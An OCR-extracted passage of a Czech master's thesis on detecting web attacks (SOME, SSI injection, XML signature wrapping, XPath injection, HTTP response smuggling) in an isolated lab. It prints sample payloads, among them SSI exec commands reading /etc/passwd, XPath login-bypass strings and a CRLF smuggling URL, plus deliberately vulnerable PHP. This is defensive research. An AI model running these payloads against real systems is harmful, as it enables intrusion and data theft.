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ABSTRAKT

Tato prace se zabyva zranitelnostmi webovych aplikaci. Cilem je vytvoreni nastrojl pro
detekci Gtokd Same Origin Method Execution (SOME), XML Signature Wrapping at-
tack, XPATH Injection, HT TP Response Smuggling a Server-Side Includes (SSI) injection
a vytvoreni zaznami v logovacich souborech, které zobrazuji detekované Gtoky. V prvni
Casti prace jsou rozebrany stézejni teoretické poznatky, jsou zde popsany zranitelnosti vy-
branych Gtok{ a jejich zneuziti. V dalsi ¢asti jsou pro tyto Utoky implementovany webové
aplikace, které obsahuji zranitelnosti pro GUspésné provedeni Gtok(. Déle jsou navrhnuty
a vytvoreny metody detekce vSech utokl v jazyku Python, které jsou doprovazeny za-
znamem do logovaciho souboru.

KLICOVA SLOVA
webova aplikace, XPath, Server-Side Include, SOME, XML podpis, HTTP Response
Smuggling, atok, injektaz, Python, detekce, log

ABSTRACT

This thesis is dealing with vulnerabilities of web applications. The aim of the work is
to create tools for attack detection of certain attacks, specifically Same Origin Me-
thod Execution (SOME), XML Signature Wrapping attack, XPATH Injection, HTTP
Response Smuggling and Server-Side Includes (SSI) injection. Another aim is to create
logs that display detected attacks. In the first part, the theory is analyzed and vulnera-
bilities of chosen attacks are described including their misuse. In the next section there
are web application implemented which contain vulnerabilities for successful execution
of the attacks. Furthermore, in Python language detection methods are designed and
developed for these attacks, which are accompanied by a log entry.

KEYWORDS

web application, XPath, Server-Side Include, SOME, XML Signature, HTTP Response
Smuggling, attack, injection, Python, detection, log
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UVOD

Webové aplikace jsou dnes velmi populdrnim nastrojem, jelikoz umoznuji jednoduchy
vyvoj multiplatformnich aplikaci. Pti jejich vyvoji se pouziva velké mnozstvi riiznych
technologii a je tedy snadné opomenout zabezpeceni vsech souvisejicich rizik.

Cilem diplomové prace je analyzovat utoky Same Origin Method Execution
(SOME), XML Signature Wrapping attack, XPATH Injection, HTTP Response
Smuggling a Server-Side Includes (SSI) injection, pro tyto ttoky vytvorit webové
aplikace obsahujici zranitelnosti k uvedenym utoktim. Navrhnout v programovacim
jazyce Python nastroje pro detekci vsech zminénych ttoku a zaclenit je na webovy
server. Dale vytvorit zaznamy v logovacim souboru, které budou zobrazovat deteko-
vané utoky. Vystupem préce je také vytvoreni videa, ve kterém bude popsan princip
utokl a jejich detekce.

Tato diplomova prace je rozdélena na tti stézejni kapitoly. V prvni kapitole jsou
popsany zakladni webové technologie, které jsou spjaté s utoky popisovanymi v této
praci. Znalost téchto technologii je nutnym zédkladem pro pochopeni provedenych
utok.

Druha kapitola poskytuje teoretické popisy vybranych ttokt, pro kazdy z nich
jsou uvedeny technologie, kterych je vyuzito pri provedeni daného itoku a ke kaz-
dému z nich je popsano vyuziti zranitelnosti.

Treti kapitola se zabyva praktickou c¢asti této diplomové prace. Na zacatku ka-
pitoly se seznamime s experimentalnim pracovistém, na kterém budou ttoky prova-
dény. Dale zde budou predstaveny implementace webovych aplikaci se zranitelnostmi
pro utoky Same Origin Method Execution (SOME), XML Signature Wrapping at-
tack, XPATH Injection, HTTP Response Smuggling a Server-Side Includes (SSI)
injection a popsany vytvorené nastroje pro jejich detekci a zplisob zaznamenani

provedeného ttoku do logovaciho souboru.
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1 WEBOVE TECHNOLOGIE

V nésledujicich sekcich jsou popsany zakladni pojmy vyuzivané v této préaci. Jejich
znalost je nutna pro pochopeni principu jednotlivych utokt.

Hypertext Transfer Protocol (HTTP) je protokol aplika¢ni vrstvy slouzici
pro prenos zprav mezi klientem a serverem [I]. Typicky byva klientem webovy pro-
hlize¢ a serverem je webovy server. Prenasené HT'TP zpravy mohou byt dvou typu:
dotaz a odpoveéd.

Zprava typu dotaz obsahuje:

e metodu

o cestu ke zdroji na serveru

o verzi HI'TP protokolu

o hlavicky

V RFC 7231 [17] jsou uvedeny standardizované metody GET, HEAD, POST,
PUT, DELETE, CONNECT, OPTIONS a TRACE. Nejcastéji uzivanymi jsou typy
GET a POST. Metoda GET se uziva v pripadé, kdy chce klient ziskat data ze
serveru. Metodou POST jsou zaslana data od klienta na server.

Priklad zpravy typu POST pri vyplnéni formulére je uveden zde:

POST /cgi-bin/app.py HTTP/1.1
Host: 192.168.10.10
User-Agent: curl/7.47.0
Accept: */x

Content-Length: 11

Content-Type: application/x-www-form-urlencoded

Zprava typu odpovéd obsahuje:
e verzi HI'TP protokolu
» stavovy kod a zpravu
o hlavicky

Konkrétni priklad je uveden zde:

HTTP/1.1 200 OK

Date: Sun, 10 Dec 2017 14:44:01 GMT
Server: Apache/2.4.33 (Fedora)

Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

Webovy server je pocitacovy program, ktery implementuje protokol HTTP.
Poskytuje sluzby HT'TP klienttim. Nejcastéji se jedna o démon, tedy program ktery

13



bézi na pozadi a nevyzaduje interakci s uzivatelem. Bézné pouzivané implementace
pro Linux jsou Apache [25], Nginx [26] nebo lighttpd [27] a pro Windows je nejéastéji
pouzivan IIS [2§].

Proxy server, viz [24], je stanice, kterd se chova jako prostfednik mezi dvémi
dalsimi stanicemi. Miize se napriklad jednat o server poskytujici sluzbu a klienta.
Proxy server obdrzi pozadavky od klienta, preposle je na server a odpovéd od serveru
zasle klientovi.

Cachovaci proxy server je jeden z druhti proxy serveri. Server si uklada dotazy
a k nim obdrzené odpovédi do mezipaméti. Pokud prijde od klienta dotaz, ktery se
jiz vyskytuje v cachi, zasle klientovi odpovéd ulozenou ve své mezipaméti.

Definice webové aplikace neni presné stanovena, ale obecné by se dalo tvrdit, ze
se jedna o aplikaci dostupnou pres protokol HT'TP. Narozdil od statickych stranek se
jeji obsah mtize dynamicky ménit napriklad na zakladé vstupu od uzivatele. K vyvoji
webovych aplikaci se diive pouzivali takzvané Common Gateway Interface (CGI)
skripty psané typicky ve skriptovacich jazycich bash nebo perl. V dnesni dobé jsou
tyto technologie na tstupu a naopak jsou popularni takzvané webové frameworky,
napiiklad Flask [29], Django [30] pro programovaci jazyk Python.

Hypertext Markup Language (HTML) je znackovaci jazyk, pomoci kte-

rého mohou byt zobrazeny webové stranky. Znacky v HTML maji pevné stanoveny
vyznam, tim se pak Tidi webové prohlizece a vykresluji text nebo rtzné objekty
dle pozadavku. Seznam vsSech znacek je uveden na webu [2]. Podrobnosti o jazyku
HTML lze ziskat napf. v knize [3].
Vétsina znacek mé oteviraci a uzaviraci znacku, uzaviraci znacka se lis{ pridanim
lomitka pred text. Vyjimkou je naptiklad znacka <br>, kterd oznacuje pouze ko-
nec radku. Znacky se nesmi vzajemné ktizit, pokud se napiiklad v nadpisu pouzije
tucéné pismo, je nutné toto tucné pismo uzaviit pred uzavienim samotného nadpisu:
<h1><b>Nadpis</b></h1>.

Priklad (1| ukazuje syntaxi jednoduchého html souboru. Prvni radek oznacuje,
ze se bude jednat o HTML verze 5. Znacka <html> je kotfenovou znackou html
souboru a vsechny dalsi znacky musi byt vnofeny do této znacky. V ramci <head>
jsou ulozena metadata, jako tdaje o fontech, skripty, nebo <title>, ktery urcuje
nazev, ktery bude zobrazen v listé prohlizece. Nasleduje <body> obsahujici udaje
zobrazeny na strance. Nadpisy maji 6 riznych trovni oznacenych <hl>, <h2>. ...
<h6>.

Extensible Markup Language je znackovaci jazyk, podobné jako HTML. Byl
navrzen za ucelem popsani dat, nahrazuje starsi jazyk Standard Generalized Markup
Language (SGML). Extensible Markup Language (XML) je podrobné popséan v knize
[4]. Jelikoz je XML otevienym standardem, je mozné jej pouzit pro jednoduchou

vyménu dat mezi aplikacemi.
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<!DOCTYPE html>
<html>
<head>
<title>Nazev stranky</title>
</head>
<body>
<h1>Nadpis</h1>
<p>0dstavec</p>
</body>
</html>

Listing 1: Syntaxe jazyka HTML

Prvni radek souboru obvykle obsahuje verzi xml a kédovani:
<?zml wversion="1.0" encoding="UTF-8"2>

Narozdil od HTML si sém autor musi vytvorit jednotlivé znacky, které pak ozna-
cuji vyznam prvki. V ukézce [2| 1ze vidét, ze xml soubor je stromovou strukturou,
kterd je zobrazena také na obr. [I.I] Vyskytuje se zde kofen users, ktery mé 2 po-
tomky nazvané user, kazdy z uzli dale obsahuje listy id, username a password. V
terminologii xml dat se pouziva pro koren, uzly a listy nazev element, prip. kofenovy

element. Kazdy element musi mit oteviraci a uzaviraci znacku.

<users>

<user>
<id>1</id>
<username>Alice</username>
<password>password</password>

</user>

<user>
<id>2</id>
<username>Bob</username>
<password>football</password>

</user>

</users>
Listing 2: Syntaxe jazyka XML

Elementy mohou mit také atributy, které jsou vlastnostmi daného elementu. Na-
priklad element id z predchoziho ptikladu miize byt nahrazen jako atribut elementu

user viz ukazka Bl.
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username
(Alice)

password username
(password) (Bob)

Obr. 1.1: Stromova struktura xml! dat

password
(football)

<user id="1">
<username>Alice</username>
<password>password</password>

</user>

Listing 3: Syntaxe elementu s atributem v jazyce XML

JavaScript je skriptovaci jazyk, ktery umoznuje vytvaret dynamicky obsah na
webové strance. Kéd je vykonan prohlizecem po zpracovani HTML a CSS. Podrob-
nosti k jazyku JavaScript lze ziskat napt. v knize [12].

Nahrani JavaScriptu na webovou stranku se provadi pomoci HTML znacky
<script>. Je vice zpusobu, kterymi to lze provést viz [I1], nejcastéji se vyuziva

pripojeni externiho souboru nasledujicim skriptem,

<script type="text/javascript" src="/path/to/javascript'>
</script>

nebo lze kéd zapsat primo do HT'ML souboru, jak uvadi ptiklad:

<script type="text/javascript">
alert("Page is loaded");
</script> .

V tomto pripadé se ve webovém prohlizeci zobrazi alert obsahujici zpravu: Page is
loaded.

JavaScript disponuje mnozstvim zpusobi, jakymi je mozné manipulovat jednot-
livé elementy, viz [13]. Nejsnazsim zptisobem lze element ziskat pomoci identifikatoru
(id), ktery je kazdému elementu ptitazen. V nasledujici ukazce || je zobrazen jedno-
duchy priklad pro vypsani souctu proménnych x a y do elementu s identifikdtorem

demo.

16



<script>

var x, y, Zz;

X = 5;
y = 6;
Z =X +*Y;

document.getElementById("demo") .innerHTML =

"The value of z is " + z + ".";

</script>
Listing 4: Syntaxe jazyka JavaScript

Simple Object Access Protocol (SOAP) je komunikacéni protokol, ktery
slouzi pro zasilani a prijimani zprav XML. Stanoveny format pro rizné verze pro-
tokolu je uveden na webu [18]. Zakladni struktura zpravy je zobrazena v ukézce

prevzaté z [19].

<?xml version="1.0"7>

<soap:Envelope
xmlns:soap="http://www.w3.0org/2003/05/soap-envelope/"
soap:encodingStyle="http://www.w3.0rg/2003/05/soap-encoding">

<soap:Header>

</soap:Header>
<soap:Body>

<soap:Fault>

</soap:Fault>
</soap:Body>
</soap:Envelope>

Listing 5: Syntaxe protokolu SOAP

Element Envelope je kofenovym elementem zpravy a definuje, ze se jedna o SOAP
zpravu. Element Header obsahuje informace speciické pro danou webovou aplikaci,
napriklad autentizaci. Jedna se o volitelny element, pokud se ve zpravé nachazi,
musi byt prvnim potomkem kofenového elementu. Body je povinny element, ktery
obsahuje informace urcené pro zpracovani. Element Fault je volitelny a je potomkem

elementu Body. Zaznamenava chyby stavové informace zpravy.
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Podoba elementu Body pro dotaz a odpovéd je zobrazena v piikladu [6]

<soap:Body xmlns:nsO="http://docs.oasis-open.org/wss/2004/01/
0asis-200401-wss-wssecurity-utility-1.0.xsd">
<nsO:get_quantity>
<bstrParaml>Apple</bstrParaml>
</ns0:get_quantity>
</soap:Body>

<soap:Body xmlns:nsO="http://docs.oasis-open.org/wss/2004/01/
0asis-200401-wss-wssecurity-utility-1.0.xsd">
<ns0:get_quantity_response>
<bstrReturn type="xsd:string">25</bstrReturn>
</ns0:get_quantity_response>
</soap:Body>

Listing 6: Podoba elementu Body ve zpravach SOAP

18



2 VYBRANE ZRANITELNOSTI WEBOVYCH
APLIKACI

Tata kapitola se zabyva teoretickym popisem vybranych utokd. Pro kazdy z nich
jsou uvedeny technologie, kterych je vyuzito pti provedeni daného tutoku. Déle jsou
zde popsany principy, ze kterych vychazi konkrétni zranitelnosti a jakym zptisobem

je 1ze zneuzit.

2.1 Same Origin Method Execution

Utok Same Origin Method Execution (SOME) [I4] umoziiuje provést na webové
strance rizné akce jménem obéti. Obét obdrzi odkaz na zavadnou stranku, kterd
obsahuje sadu akci vytvorenych tuto¢nikem za tcelem ziskani riznych informaci,
smazan{ G¢tu, atp. Utoénik miize provadét akee, které jiz jsou k dispozici na kon-

krétni webové strance.

2.1.1 Zranitelnost

Tento tutok je typicky zaméfen na aplikace, které maji chybné implementovany
callback [I5]. Jedna se o funkci, kterd je preddvana parametrem jiné funkci. Je
zavolana v pripadé, Ze nastane urcitd udélost. Jak je uvedeno v [16], webova stranka

muze predavat parametry pro callback pomoci URL:
http://site.com/callback-endpoint?callback=callback_parameters .

Callback-endpoint oznacuje stranku, kterda obsahuje mechanismus pro zpracovani
parametri, muze se jednat o script, viz néasledujici priklad pseudokédu v php [7]
Webova stranka ziska parametr John od uzivatele a potfebuje z databaze obrdzet
dalsi iidaje o této osobé. Vyuzije k tomu script.php, ve kterém je tato funkcionalita

implementovana a preda data funkci getJSONdata.
http://site.com/script.php?callback=John

Chybné implementovand funkce callback miize vypadat nasledovné |8 pfi ne-

spravném osetTeni je mozné predat timto scriptem libovolnou funkci.

2.1.2 Prubéh utoku

Utok je velmi podrobné popsan v ¢lanku [16]. Uto¢nik zasle obéti odkaz na svoji
webovou stranku, kde jsou na pozadi vykonany akce v javascriptu, které obéf nemusi
postiehnout. Utok probihd v nékolika krocich.
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<?php
$callback=htmlspecialchars($_GET[’callback’]);
$myJSONdata = get_data_from_mysql ($callback);
echo "getJSONdata(".$myJSONdata.");";
2>

Listing 7: K6d PHP pro zpracovani parametru z URL
<?php
$callback=htmlspecialchars($_GET[’callback’]);

echo ’<script>’.$callback.’();’.’</script>’;
2>

Listing 8: Chybna implementace funkce callback v PHP

1. Uzivatel otevie odkaz vedouci na oknol.

2. Oknol otevie nové pop-up okno?2.

3. Oknol je presmérovano na webovou stranku, kterou méa utocnik v tmyslu
zneuzit.

4. Okno2 je presmérovano na stejnou webovou stranku, aby bylo dodrzeno Same
Origin Policy (SOP). V ramci toho kroku je vyuzita funkce callback, ktera
muze predavat parametrem provedeni nativni funkce jazyka JavaScript, napt. click,
alert, atp. nebo jinou jiz implementovanou funkci na webové strance.

5. V oknél je provedena akce predana funkei callback.

Pro kazdou dalsi akci, kterd je nasledné predana jako callback je zapotiebi vy-

tvorit nové pop-up okno.

2.2 Server-Side Includes Injection

Server-Side Includes (SSI) je néstroj, ktery se pouzivd pro dynamické generovani
obsahu HTML stranek [5]. Pfimo do HTML stranek jsou vlozeny znacky se syntaxi
HTML komentare, uvnitt obsahuji ptikaz, jenz bude vyhodnocen webovym serve-

rem. Kuprikladu:
<l!--#echo var="DATE LOCAL" --> .

Tento prikaz vypise proménnou DATE_LOCAL na misto puvodniho komentére,
uzivatel tedy uvidi: Tuesday, 12-Dec-2017 18:58:09 EET. Celkovy prehled prikazt
1ze najit na webu [6] a [7]. V tabulce [2.1] jsou uvedeny zékladni piiklady.

20



Tab. 2.1: SSI prikazy

Priklad Popis
<l--#echo var="DOCUMENT NAME"--> Zobrazi nazev dokumentu.
<!--#exec cmd="whoami"--> Zobrazi uzivatele, pod kterym

se vykonava dany proces.

<!--#include virtual=". /text.html"--> Vlozi do vysledku obsah sou-
boru text.html.
<!-#config timefmt="A %B %d %Y %r"'--> Pfenastavi format zobrazovani
casu.

<l--#set var="country"value="United Kingdom"--> | Zméni hodnotu value proménné

var.

2.2.1 Zranitelnost

Server muze pomoci SSI jednoduchym zplisobem zobrazovat dynamické tdaje. Po-
kud se ale na strance vyskytuje pole, do kterého muze uzivatel zapisovat - napr.
vyhledavaci formuldr, 1ze pres néj zaslat na server SSI prikaz. Webovy server pri
zpracovani HTML stranky vyhodnoti i SSI prikaz uzivatele a poskytne mu skryté
informace. Vstup od uzivatele proto musi byt opatien kontrolou.

Utoénik muze ziskat velké mnozstvi informaci, které se odviji od préav, které mé
pritazen uzivatel, pod kterym je dana stranka spusténa. Typicky se jedné o uzivatele
apache nebo www-data.

Nasledujicim prikazem tutocnik zjisti jaké soubory, i s jejich podrobnostmi, se
nachéazi ve slozkach pro dany web a dale muze tyto soubory vkladat do vysledku

pomoci prikazu include, ptripadné ¢ist soubory pomoci programu cat.

<l--#exec cmd="1ls -1 & 1s -1 .."-—>
total 32

drwxr-xr-x. apache apache 4096 Dec 9 18:53 cgi-bin
“IW-r—-r--. apache apache 12032 Dec 13 12:51 error.log
-rw-r--r--. apache apache 7260 Dec 13 12:52 log.txt

2
1
-rw-r--r--. 1 apache apache 256 Dec 9 17:20 form.html
1
1 apache apache 72 Dec 13 12:52 test.html

“rw-r--r--.
total 4
-rwxr-xr-x. 1 apache apache 1464 Dec 9 18:19 app.py

<!--#include virtual="../log.txt"-->
09 Dec 2017 17:31:27 [SSI][2] injection detected from IP address:
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192.168.0.20, query: <!--#echo var="DATE_LOCAL"-->
09 Dec 2017 18:20:09 [SSI][2] injection detected from IP address:
192.168.0.20, query: <!--#echo var="DOCUMENT_NAME" -->

<!--#texec cmd="cat /etc/passwd"-->
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin

apache:x:48:48:Apache: /usr/share/httpd:/sbin/nologin

Utoénik miZe rovnéz ziskat informace ze systému serveru, jako je seznam uzi-
vateld, typ operacniho systému, hardwarové komponenty a jejich vyuziti, prehled
bézicich procesti, seznam nainstalovanych balikii véetné jejich verzi, atp. V pripadé,
ze je na serveru spustén SELinux v médu vynucovani pravidel (enforcing), tyto

prikazy nebudou provedeny, nebo budou provedeny c¢astecné.

<l--#exec cmd="ps -A"-->
PID TTY TIME CMD

17 00:00:01 systemd
696 7 00:00:00 httpd
697 7 00:00:00 httpd
698 7 00:00:00 httpd
699 7 00:00:00 httpd
700 7 00:00:00 httpd
701 7 00:00:00 httpd

1003 7 00:00:00 (sd-pam)
1045 7 00:00:00 httpd
1237 7 00:00:00 ps

2.3 XML Signature Wrapping attack

Pti komunikaci pomoci protokolu SOAP je mozné zpravy zabezpecit pomoci digi-
talniho podpisu, jak je znamo z teorie asymetrické kryptografie. P¥i nespravném
ovérovani podpisu ve webové aplikaci mtze itocénik pomoci manipulace s obsahem
zpravy ziskat pristup k informacim treti strany. Tento ttok se déli na ¢tyti podtypy
[22]:

o XML Signature Wrapping - Simple Context.
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— Data urcena k podpisu se nachazeji v elementu Body.
o XML Signature Wrapping - Optional Element.
— Data urcena k podpisu se nachazeji v elementu Header.
o XML Signature Wrapping - Optional Element in Security Header.
— Data urcend k podpisu se nachazeji v elementu Security, ktery je potom-
kem elementu Header.
o XML Signature Wrapping - with Namespace Injection

— Utok je proveden pomoci injektéze jmenného prostoru XML.

2.3.1 XML podpis

V SOAP zpravé jsou zvoleny elementy urcené k podpisu a jsou jim prifazeny iden-
tifikatory URI. Digitalni podpis je do SOAP zpravy pridan jako potomek elementu
Header, pri ¢emz predmétem podpisu jsou konkrétni elementy oznacené identifika-
torem, podrobnosti viz [21].

Strukturu elementu Signature lze vidét nize, skladéd se z nasledujicich ¢asti:

o SignedInfo obsahuje pouzité algoritmy a reference na elementy:

— CanonicalizationMethod definuje algoritmus, ktery urcuje zptsob kano-
nizace xml dokumentu.

— SignatureMethod definuje algoritmus pro vypocet hese.

— Reference obsahuje seznam transformaci, které jsou na datech daného
elementu provedeny, algoritmus pro vypocet heSe a vyslednou hodnotu
hese v elementu DigestValue.

o SignatureValue je neprilis stastné pojmenovany element, ktery obsahuje hes
podstromu ohranic¢eného tagem SignedInfo. Tento podstrom obsahuje samotné
podpisy, ikdyz tomu nazev moc neodpovida.

o Keylnfo obsahuje informace o kli¢i pouzitém pri vytvareni podpisu, mize se

jednat o certifikat jeho podrobnosti.

<Signature>
<SignedInfo>
<CanonicalizationMethod Algorithm="..." />
<SignatureMethod Algorithm="..." />
<Reference URI="..." >
<Transforms>
<Transform Algorithm="..." />
</Transforms>
<DigestMethod Algorithm="..." />
<DigestValue> ... </DigestValue>
</Reference>
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</SignedInfo>
<SignatureValue> ... </SignatureValue>
<KeyInfo>
<X509Data>
<X509SubjectName> ... </X509SubjectName>
<X509Certificate> ... </X509Certificate>
</X509Data>
</KeyInfo>
</Signature>

2.3.2 Zranitelnost

Zpusob zpracovani prijaté zpravy serverem je zasadni. Jak je uvedeno v [20], je
mozné vyhledat podepsané elementy pouze pomoci identifikatoru URI. Uto¢nik ale
muze jednoduse premistit elementy v SOAP zpravé na jiné misto a na ptvodni
misto pridat novy element. Tim docili zachovani spravného podpisu zpravy a ziska
od serveru odpovéd na nové vytvoreny element.

Zprava od ttocnika muze vypadat nasledovné [20]:

<soap:Envelope>
<soap:Header>

<wsse:Security>

<ds:Signature>
<ds:SignedInfo>

<ds:Reference URI="#theBody">

</ds:Reference>
</ds:SignedInfo>

</ds:Signature>
</wsse:Security>
<Wrapper
soap:mustUnderstand="0"
soap:role=".../none">
<soap:Body wsu:Id="theBody">
<getQuote Symbol="IBM"/>
</soap:Body>
</Wrapper>
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</soap:Header>
<soap:Body wsu:Id="newBody">
<getQuote Symbol="MBI"/>
</soap:Body>
</soap:Envelope>

Uto¢niktv element Wrapper obsahuje atributy mustUnderstand a role, které

zpusobi Ze se data v jeho potomcich nebudou zpracovavat.

2.4 XPATH Injection

XML Path Language (XPath) je jazyk pouzivany pii prohledavani dat ve xml soubo-
rech. Jeho tucelem je ziskat ze stromové struktury zadané informace. Jak je uvedeno v

[9], XPath vyuziva syntax cesty nebo krokii v cesté, aby mohl vybirat elementy, nebo

vvvvvv
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Tab. 2.2: Vyrazy v XPath

Vyraz Priklad Popis

/ users/user | Vybere vSechny elementy user, které jsou potomky users.

// //password | Vybere vSechny elementy password, které se nachazeji v do-
kumentu, nezavisle na umisténi.

./id Oznacuje tento element, podobné jako v UNIXové soubo-
rové strukture. Vyraz v prikladu vybere potomka id aktu-
alniho elementu.

../username | Oznacuje rodice aktualniho elementu, opét v analogii k sou-
borové strukture. V prikladu je ukazan vybér sourozence s

nazvem username.

Q //@id Vybere vsechny atributy, které se nazyvaji id.
* /users/* | Vybere vsechny potomky elementu users.
@* //@* Vybere vSechny atributy, které se v dokumentu nachazeji.

Dalsi dulezitou soucasti syntaxe xpath jsou predikaty, které umoznuji zvolit ele-
menty obsahujici konkrétni hodnoty. Nékteré z nich jsou zobrazeny v tabulce |2.3|

Predikat je vzdy uzavien v hranatych zavorkéch.
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Tab. 2.3: Predikaty v XPath

Vyraz Popis

/users/user][1] Vybere potomka elementu users s nazvem user, ktery je
druhy v poradi.

/users /user[last()] Vybere potomka elementu users s nazvem user, ktery je
posledni v poradi.

Jusers/user[position()<3] | Vybere prvni dva potomky elementu users s ndzvem user.

//user[@Qid="3"] Vybere vSechny elementy user, které maji atribut id s hod-
notou 3.
/users /user[id>35] Vybere vSechny elementy user, které jsou potomky users a

jejich element id mé hodnotu vétsi nez 35.

2.4.1 Zranitelnost

Zékladem zranitelnosti aplikace je neoSetreni vstupti od uzivatele. Prevzata data
jsou bez jejich ovéfeni spojena do jednoho fetézce, ktery je pak vyhodnocen. Retézec

muze vypadat naptiklad nasledovnym zptisobem:
[username/text()=’" + user + "’ and password/text()=’" + passwd + "’]

Utocénik muze tento vyraz rozsitit o dalsi logické operatory a porovnani, ¢imz
obejde zamysleny mechanismus ovéfovani prihlasovacich tdaju, viz [10]. Priklad ta-
kovéhoto vloZzeni je uveden na obr. 2.} Do pole Username je ttoénikem vloZen

retézec:
abc’ or 1=1 or ’2=2

Pridanim jednoduchych uvozovek dochézi k preruseni retézce a jeho ¢asti se poji
logickymi operatory. Namisto vyhodnoceni spravnosti uzivatelského tctu a prislus-
ného hesla pomoci operatoru and program hodnoti logické vyrazy. Jejich vysledkem
je hodnota True a povoli utoc¢nikovi prihlaseni jako uzivateli s id 1, nebot se jedna
o prvni vyhovujici prvek v databazi.

Pokud ttocnik zna login konkrétniho uzivatele, je také schopen se cilené prihlasit

jako tento uzivatel. Vlozeny tetézec v poli login by mohl byt zménén takto:
Bob’ or ’1’="1

Je mozné také ziskat informace o vnitini strukture databaze. Napiiklad pokud

do pole Username vlozime tetézec:
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abc’ or name(//user)=’user’ or ’a’=’b

ktery mize mit jediny pravdivy vyraz a to v pripadé, kdy se v databézi objevuje
element s ndzvem user. Utoénikovi je piistup bud zamitnut, nebo je mu p¥stup
povolen, z ¢ehoz ziska informaci o existenci prvku user v databazi.

Databéze by méli mit hesla ulozeny v podobé hashe. V ptipadé ze by byl dotaz
polozen tak, Ze by se logické vyrazy objevovaly i v poli Password, dojde pred vyhod-
nocenim fetézce ke zhashovani tohoto vstupu a tim se fetézec stane chybnym. Pti
pouziti dle ukézkového prikladu je utok zcela nezavisly na tetézci, ktery se vepise

do pole Password a hashovani tedy neposkytuje ochranu proti tomuto utoku.

Obr. 2.1: Grafické znazornéni itoku XPath injection

Username = ’abc’ or 1=1 or '2 =2 and Password = ’abc’
0 or 0

1

1 1 and
or 0
1

2.5 HTTP Response Smuggling

Tento utok cili na klientské stanice webovych aplikaci. K realizaci vyuziva zrani-
telnost ve webové aplikaci, kterda nasledné otravi mezipamét proxy serveru. Klient,
obéf utoku, nasledné kontaktuje proxy server v doméni, ze komunikuje s webovou

aplikaci a dostane faleSnou odpovéd.

2.5.1 Zranitelnost

U tohoto utoku spociva zranitelnost v neosetieni vstupu od uzivatele. Typicky se
jednéd o webové aplikace, kdy je predavan parametr v adresnim radku pro dalsi
zpracovani. Mize se také jednat o pole formuléare, které uzivatel vyplni a zasle na
server.

Webova aplikace pti vytvareni odpovédi nevhodnym zplsobem zakomponuje
vstup od ttocnika, jak lze vidét na obr. viz [23]. Utocnik timto zpiisobem miize
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vytvorit dalsi odpovéd, ktera bude proxy serverem chapana jako odpovéd na dalsi
dotaz. Okamzité po dotazu A vysild utoénik druhy dotaz (B), pro ktery jako od-

povéd ziska zpravu, kterou v prvnim kroku sam vytvoril (C). Tato zprdva se timto

zpusobem dostane do mezipaméti proxy serveru. Pokud uzivatel zada stejny dotaz

B, pak ziska od proxy serveru odpoved C, kterd muze obsahovat skodlivy kod, mize

se jednat o phishingovou stranku, atp.

Utoenik Proxy Server
[ —t y _/ jp—
|\[|i|| =]
= ! !
Request A
> Request A
P Response A
Response A A
< Response C
Request B
Uzivatel Request B .
Response B

I‘[Iill Response C

A
A

‘ Request B

\ 4

Response C

A

Obr. 2.2: Proces otraveni cache v proxy serveru

Zaslany vstup od utoc¢nika mize vypadat nasledujicim zptisobem.

192.168.10.50/url.php?name=foobar}0DHeader: Test’,0DContent-Length:

177,0D%0DHTTP/1.0%202007%200K%0DContent-Type: %20text/html

V predchazejicim vyrazu jsou zakomponovany hlavicky protokolu HTTP, které

jsou vidét v dalsim prikladu, znak %20 je mezera a %0D oznacuje CR.

Header:Test
Content-Length:17

HTTP/1.0 200 OK
Content-Type: text/html
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3 PRAKTICKA CAST

V predchézejici kapitole byly popsany teoretické zaklady vybranych webovych ttoki.
Tato kapitola se bude zabyvat provedenim téchto ttoki v experimentalnim prostiedi.
Nejprve je zde popséano vytvorené prostiedi pro testovani. Pro kazdy z utoku byla
vytvorena aplikace pro provedeni samotného titoku. Nasledné je popsana technika

detekce daného ttoku a vysledek detekce je prezentovan zaznamem z logu serveru.

3.1 Experimentalni prostredi

V testovacim prostiedi byly vytvoreny 3 virtualni pocitace, které zastavaji tilohu
serveru, uzivatele a utoc¢nika. Pro jejich vytvoreni byl vyuzit nastroj Virtual Ma-
chine Manager, ktery poskytuje grafické rozhrani pro spravu virtualnich pocitaci
na platformé Linux.

Mezi virtudlnimi stroji a hostujicim pocitacem je vytvorena izolovana sit, ktera
je zndzornéna na obrf3.1} Host je zde oznaCen obrdzkem notebooku a je vychozi
branou do internetu. Ptripojeni do internetu neni nutné, ale zjednodusuje instalaci

baliki potfebnych pro provedeni experimentu.

Server Utoénik Uzivatel

p— =T =7

= [ jm

- G p—

| (4 =

.10 -

4

A

—E/ Hostujici pocitac

.30

192.168.10.0/24 Virtualni switch

Obr. 3.1: Struktura sité

Na vsSech instancich bézi linuxova distribuce Fedora ve verzi 27. Server vyuziva
odleh¢enou cloudovou variantu bez grafického uzivatelského rozhrani. Pro spusténi
webovych aplikaci je nutné nainstalovat webovy server Apache, ktery je ve fedore
k nalezeni pod nazvem httpd. Nékteré z aplikaci jsou napsany pomoci frameworku

Flask a k jejich provozu jsou zapotiebi knihovny flask, Ixml a modul wsgi. Pro
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utok XML Signature Wrapping attack je nutny balik xmlsec pro podepisovani XML
soubort. Verze balikii jsou v nasledujicim seznamu:

o Flask 1.0.2,

e Ixml 4.2.1,

» httpd 2.4.33,

e mod_ wsgi 4.5.15 pro python3,

o xmlsec 1.3.3.

K instalaci serveru je vyuzit program vagrant, tento nastroj slouzi k jednoduché
sprave prostiedi virtualnich stroji. Virtudlni server je vytvoren na zakladé instrukei
v souboru Vagrantile, ktery je pripojen v piiloze [A]l

Na server je umisténo pét projekti do adresare /var/www, kazdy z nich obsahuje
webovou aplikaci pro jeden z tutokii. Projekty jsou od sebe oddéleny specidlnimi
adresari, naptiklad pro utok SOME je nazvan web some.

Klient i utoénik pouzivaji verzi Fedora Workstation s grafickym uzivatelskym
rozhranim. Pro provedeni itoku XML Signature Wrapping attack je zapotiebi balikti
zeep, xmlsec, Ixml na virtualnim stroji klienta a balikt Ixml, requests na virtualnim
stroji uto¢nika. Verze balikti se shoduji s uvedenymi vyse, byl pouzit zeep ve verzi
2.5.0 a requests verze 2.18.4. U ostatnich utoki na tyto dvé stanice nejsou kladeny
zadné zvlastni pozadavky a obé si vystaci pouze s predinstalovanym prohlizecem

Firefox.

3.2 Same Origin Method Execution

V tomto ttoku je nejprve zapotiebi presvédcit obét, aby navstivila ato¢nikovi webové
